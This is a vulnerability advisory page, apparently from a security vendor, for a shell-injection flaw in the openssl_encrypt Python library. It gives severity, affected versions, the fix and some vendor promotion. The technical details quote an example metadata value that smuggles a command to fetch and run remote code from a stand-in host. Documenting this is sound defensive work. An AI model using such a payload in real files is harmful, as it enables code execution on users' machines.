Is CVE-2026-81698 exploited in the wild?

No. Junglewise Threat Intelligence has no report of CVE-2026-81698 being exploited in the wild.

How severe is CVE-2026-81698?

High severity, with a CVSS score of 7.5, published 27 August 2026.

Which products and versions are affected?

Jahlives Openssl Encrypt before 1.4.9; openssl-encrypt (PyPI) ECOSYSTEM:introduced=0,fixed=1.4.9.

Is there a fix for CVE-2026-81698?

Yes. openssl-encrypt (PyPI): upgrade to 1.4.9 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.

How is CVE-2026-81698 attacked?

It is attacked over the network, in a software library.

Am I affected by CVE-2026-81698?

Check whether you run Jahlives Openssl Encrypt or openssl-encrypt (PyPI) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

CVE-2026-81698: openssl_encrypt shell injection in info command

CVE-2026-81698 · Severity: high · CVSS 7.5 · Published 2026-08-27

openssl_encrypt is a Python library for encrypting files with OpenSSL. The info command displays a reconstructed CLI command that users can copy and paste to recreate the encryption operation. A vulnerability allows attackers to inject shell commands into metadata fields (like pepper_name) that get printed without proper escaping, causing arbitrary code execution when a user pastes the printed command into a shell.

Technologies: Jahlives Openssl Encrypt, openssl-encrypt (PyPI). Vendors: Jahlives, PyPI.

Quick answers

Is CVE-2026-81698 exploited in the wild?: No. Junglewise Threat Intelligence has no report of CVE-2026-81698 being exploited in the wild.
How severe is CVE-2026-81698?: High severity, with a CVSS score of 7.5, published 27 August 2026.
Which products and versions are affected?: Jahlives Openssl Encrypt before 1.4.9; openssl-encrypt (PyPI) ECOSYSTEM:introduced=0,fixed=1.4.9.
Is there a fix for CVE-2026-81698?: Yes. openssl-encrypt (PyPI): upgrade to 1.4.9 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.
How is CVE-2026-81698 attacked?: It is attacked over the network, in a software library.
Am I affected by CVE-2026-81698?: Check whether you run Jahlives Openssl Encrypt or openssl-encrypt (PyPI) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

How to fix

openssl-encrypt (PyPI): upgrade to 1.4.9 or later
```
pip install "openssl-encrypt>=1.4.9"
```

Technical details

This is an OS command injection vulnerability (CWE-78) in the _reconstruct_cli_from_metadata function. The vulnerability occurs because untrusted metadata fields (pepper_name, hsm_plugin, algorithm, cipher_chain, kdf_config.hkdf.info, argon2.type, randomx.mode, and numeric fields) are interpolated directly into shell command text without quoting. An attacker can craft a file with a malicious pepper_name value like 'work; curl -s http://evil/x | sh #' that, when displayed in the reconstructed CLI block, executes arbitrary commands if a user copies and pastes the output into a shell. The attack requires no authentication and relies on user interaction (pasting the command). The fix in version 1.4.9 applies shlex.quote() to all interpolated values to prevent argument breakout.

Affected products

jahlives openssl_encrypt before 1.4.9

Identifiers

CVE-2026-81698
PYSEC-2026-3776

Timeline

2026-08-27: disclosed
2026-08-27: patched: Version 1.4.9 released with shlex.quote() fix

References

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